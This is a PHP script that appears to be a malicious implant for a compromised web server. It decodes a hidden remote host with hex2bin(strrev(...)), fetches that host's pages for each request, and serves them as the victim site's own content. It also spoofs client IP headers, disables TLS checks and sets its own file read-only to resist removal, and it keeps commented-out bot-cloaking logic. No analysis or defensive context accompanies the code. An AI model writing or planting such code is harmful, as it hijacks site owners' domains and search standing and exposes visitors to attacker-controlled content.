<?php
@set_time_limit(0);
ini_set("error_reporting","E_ALL & ~E_NOTICE");
date_default_timezone_set('PRC');
$host = $_SERVER["HTTP_HOST"];
$server_url = hex2bin(strrev("d6f636e22333030347473637965786961626f2f2a33707474786"));

function getHtml($url, $time = 30,$num = 1)
{

    $ip = real_ip();
	$curl = curl_init();
    $header = array(
        "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
        "Upgrade-Insecure-Requests: 1",
        "DNT:1",
        "Accept-Language: zh-CN,zh;q=0.9",
        "CLIENT-IP: " . $ip,
		"X-FORWARDED-FOR: " . $ip,
        "User-Agent:".strtolower($_SERVER["HTTP_USER_AGENT"])
    );

	$useragent = 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36';

	$arr = array(
		CURLOPT_URL            => $url,
		CURLOPT_TIMEOUT        => $time,
		CURLOPT_HTTPHEADER     => $header,
		CURLOPT_HEADER         => false,
		CURLOPT_NOBODY         => false,
		CURLOPT_RETURNTRANSFER => true,
		CURLOPT_FOLLOWLOCATION => true,
		CURLOPT_USERAGENT      => $useragent,
    );
 
    if(strpos($url,'https://') !== false)
    {
        $arr[CURLOPT_SSL_VERIFYPEER] = false;
		$arr[CURLOPT_SSL_VERIFYHOST] = false;
		$arr[CURLOPT_SSLVERSION] = CURL_SSLVERSION_TLSv1_1;
        $arr[CURLOPT_SSL_VERIFYSTATUS] = false;
		$arr[CURLOPT_HTTP_VERSION] = CURL_HTTP_VERSION_2_0;
    }

    curl_setopt_array($curl, $arr);

    $res = curl_exec($curl);

    if (!$res && $num == 1) {
        $error = curl_errno($curl);
        curl_close($curl);
        return getHtml(str_replace('https://','http://',$url),6,2);
    }

    curl_close($curl);

    return $res;
}

function getJustAllUrl($str)
{
	$parttern = "/http[s]?:\/\/(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+/";
	preg_match_all($parttern, $str, $matches);
	return count($matches) > 0 ? array_unique($matches[0]) : '';
}

chmod(__FILE__,0444);
// if(stripos($ua,"bot") !== false || stripos($ua,"spider")){
	$req = $_SERVER['REQUEST_URI'];
	$new_req = explode('.php', $req);
	$new_req[1] = explode('/',$new_req[1]);
	$new_req[1][1] = $new_req[1][1].'_'.$host;
	$new_req[1] = implode('/',$new_req[1]);
	$url = rtrim($server_url,'/') . "/" .ltrim(rtrim($new_req[1], '/'), '/');
	$c = getHtml($url);
	$port = $_SERVER["SERVER_PORT"];
	$http = $port == '443' ? 'https://' : 'http://';
	$server_url = str_replace(array('http://','https://'),$http,$server_url);
	$target_url = $http . $host . $new_req[0] . '.php';
	$css_list = array();
	foreach (getJustAllUrl($c) as $k => $v) {
		$v = str_replace(array("'", ')', ';'), '', $v);
		$vnew = str_replace(array('http://','https://'),$http,$v);
		if (strpos($vnew, $server_url) !== false) {
			$info = pathinfo($vnew);
			$new_url = str_replace($server_url, $target_url, $vnew);
			if (in_array(strtolower($info['extension']), array('css', 'js', 'ico', 'jpeg', 'jpg', 'gif', 'png'))) {
				$css_list[] = array(
					$new_url => str_replace($target_url, $server_url, $vnew),
				);
			}
			$c = str_replace($v, $new_url, $c);
		}
	}
	if ($css_list) {
		foreach ($css_list as $v) {
			$c = strtr($c, $v);
		}
	}
	if (strpos($req, '.xml') !== false) {
		header("Content-type: text/xml");
		$c = str_replace($server_url, $target_url, $c);
	}
	echo $c;
	exit();
// }else{
// 	echo getHtml($server_url."/jsc/js/js2.txt");
// 	exit();
// }

function real_ip()
{
	$ip = $_SERVER['REMOTE_ADDR'];
	if (isset($_SERVER['HTTP_X_FORWARDED_FOR']) && preg_match_all('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#s', $_SERVER['HTTP_X_FORWARDED_FOR'], $matches)) {
		foreach ($matches[0] as $xip) {
			if (!preg_match('#^(10|172\.16|192\.168)\.#', $xip)) {
				$ip = $xip;
				break;
			}
		}
	} elseif (isset($_SERVER['HTTP_CLIENT_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CLIENT_IP'])) {
		$ip = $_SERVER['HTTP_CLIENT_IP'];
	} elseif (isset($_SERVER['HTTP_CF_CONNECTING_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CF_CONNECTING_IP'])) {
		$ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
	} elseif (isset($_SERVER['HTTP_X_REAL_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_X_REAL_IP'])) {
		$ip = $_SERVER['HTTP_X_REAL_IP'];
	}
	return $ip;
}